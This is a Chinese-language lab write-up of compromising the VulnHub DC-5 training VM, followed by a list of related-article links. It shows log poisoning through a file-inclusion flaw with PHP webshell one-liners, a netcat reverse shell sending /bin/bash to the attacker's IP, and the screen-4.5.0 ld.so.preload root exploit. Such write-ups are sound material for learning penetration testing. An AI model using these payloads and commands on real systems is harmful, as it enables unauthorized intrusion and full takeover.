准备工作

在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub

导入到vmware,设置成NAT模式

打开kali准备进行渗透(ip:192.168.200.6)

信息收集

利用nmap进行ip端口探测

nmap -sS 192.168.200.6/24

探测到ip为192.168.200.16的靶机,开放了80端口和111端口

再用nmap对所有端口进行探测,确保没有别的遗漏信息  

还有一个46300端口

先访问80端口,打开网站用Wappalyzer插件查看发现是Nginx1.6.2框架

dirsearch扫描到thankyou.php文件访问发现发现下面的年份是会变化的,说明页面是动态的,猜测存在文件包含

漏洞利用——文件包含

首先先测试出文件包含的变量名,可以利用bp进行爆破,根据返回长度判断,这里就不演示了,爆破出来变量名是file

存在文件包含,读取一下日志文件,nginx默认日志文件路径为/var/log/nginx/access.log

可以看到我们刚刚的操作都给记录到日志文件中,这意味着我们可以随便输入恶意代码,利用日志文件来执行

先试试执行phpinfo()看看

虽然显示404但是我们的操作已经记录到日志文件中了,现在打开日志文件看看,拉到最下面,phpinfo()被成功执行!

写入一句话木马<?php eval($_POST['test']);?>  然后用weevely连接,但是连接失败了,可能这个工具必须要用它生成的木马才能连接,但是他的木马太长了,没有办法使用。按道理来说使用蚁剑应该也可以连上,但是我采取了另一种方法

写入 <?php system($_GET['cmd']); ?> 执行系统命令

在终端使用nc进行监听 nc -lvp 9999

在访问这个,反弹shell

http://192.168.200.16/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.200.6 9999

使用python 通过pty.spawn()获得交互式shell

python -c'import pty;pty.spawn("/bin/bash")'

权限肯定是不够的接下来进行提权

权限提升

首先查看一下root权限用户  

find / -perm -u=s -type f 2>/dev/null

这里看到一个/bin/screen-4.5.0,查找一下screen-4.5.0的漏洞

发现有权限提升漏洞

打开sh文件查看 vi /usr/share/exploitdb/exploits/linux/local/41154.sh

看内容应该是两段代码,创建新的文件,放入tmp文件夹,分别编译一下

gcc -fPIC -shared -ldl -o tmp/libhax.so tmp/libhax.c  
gcc -o tmp/rootshell tmp/rootshell.c

  

然后在靶机使用scp远程下载kali编译好的文件

scp root@192.168.200.6:/root/tmp/libhax.so /tmp/
scp root@192.168.200.6:/root/tmp/rootshell /tmp/

如果kali没有开启ssh服务参考以下文章kali使用ssh进行登录_csdnmmd的博客-CSDN博客_kali ssh连接

文件上传好了之后查看刚刚的漏洞使用方法进行提权

cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
~

获得root权限,过关

参考文章

DC5-靶机_Au-CSDN博客_dc5靶机

DC-5靶机 - bingtanghulu - 博客园 (cnblogs.com)

vulnhub-DC:5靶机渗透记录的更多相关文章

  1. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  2. vulnhub-DC:6靶机渗透记录

    准备工作 在vulnhub官网下载DC:6靶机DC: 6 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  3. vulnhub-DC:1靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  4. vulnhub-DC:3靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...

  5. vulnhub-DC:4靶机渗透记录

    准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...

  6. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

  7. vulnhub-DC:8靶机渗透记录

    准备工作 在vulnhub官网下载DC:8靶机DC: 8 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  8. vulnhub-XXE靶机渗透记录

    准备工作 在vulnhub官网下载xxe靶机 导入虚拟机 开始进行渗透测试 信息收集 首先打开kali,设置成NAT模式 查看本机ip地址 利用端口扫描工具nmap进行探测扫描 nmap -sS 19 ...

  9. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

随机推荐

  1. Vim一直学不会?试试这个 "真香" 神器

    Vim 的使用,一直以来是一个难题 以至于国外的知名程序员问答社区 StackOverFlow 上有一个问题 How to I exit the Vim editor 获得了超过 200万次的浏览量 ...

  2. 关于kubernetes的十七个实验(一)

    实验综述 Kubernetes用来管理云平台上的容器化应用,这里从 https://www.katacoda.com/courses/kubernetes 学习Kubernetes的使用,对Kuber ...

  3. Linux命令大全之帮助命令及压缩命令

    man(manual):帮助命令 help用于解释shell内部命令 格式:help shell内部命令 ls 命令  --help man 命令 info 命令 .zip    .gz    .bz ...

  4. 微信小程序使用async await的一些技巧

    在小程序onLoad事件中使用getItems(this) 和this.getItems() getItems(this)对应的方法为 this.getItems()对应的方法为 在getItems( ...

  5. Fiber 树的构建

    我们先来看一个简单的 demo: import * as React from 'react'; import * as ReactDOM from 'react-dom'; class App ex ...

  6. SpringMVC(8)国际化

    在SpringMVC(七)格式化显示中我们讲了数据的格式化显示,Spring在做格式化展示的时候已经做了国际化处理,那么如何将我们网站的其它内容(如菜单.标题等)做国际化处理呢?这就是本篇要将的内容- ...

  7. Java实验项目三——宠物商店

    Program:宠物商店的设计(继承,接口,线性线性表) Description:本题未实现图形用户界面,项目结构描述如下: classes.Pet:定义宠物接口,只要实现该接口的宠物类,都可存储进宠 ...

  8. FastTunnel-开源内网穿透框架

    FastTunnel - 打造人人都能搭建的内网穿透工具 FastTunnel是用.net core开发的一款跨平台内网穿透工具,它可以实现将内网服务暴露到公网供自己或任何人访问. 与其他穿透工具不同 ...

  9. 查找----python

    class Solution: #顺序查找 def seq_search(self,list,num): for i in(range(len(list))): if list[i] == num: ...

  10. 浅谈C++11中的多线程(二)

    摘要 本篇文章围绕以下几个问题展开: 进程和线程的区别 何为并发?C++中如何解决并发问题?C++中多线程的基本操作 浅谈C++11中的多线程(一) - 唯有自己强大 - 博客园 (cnblogs.c ...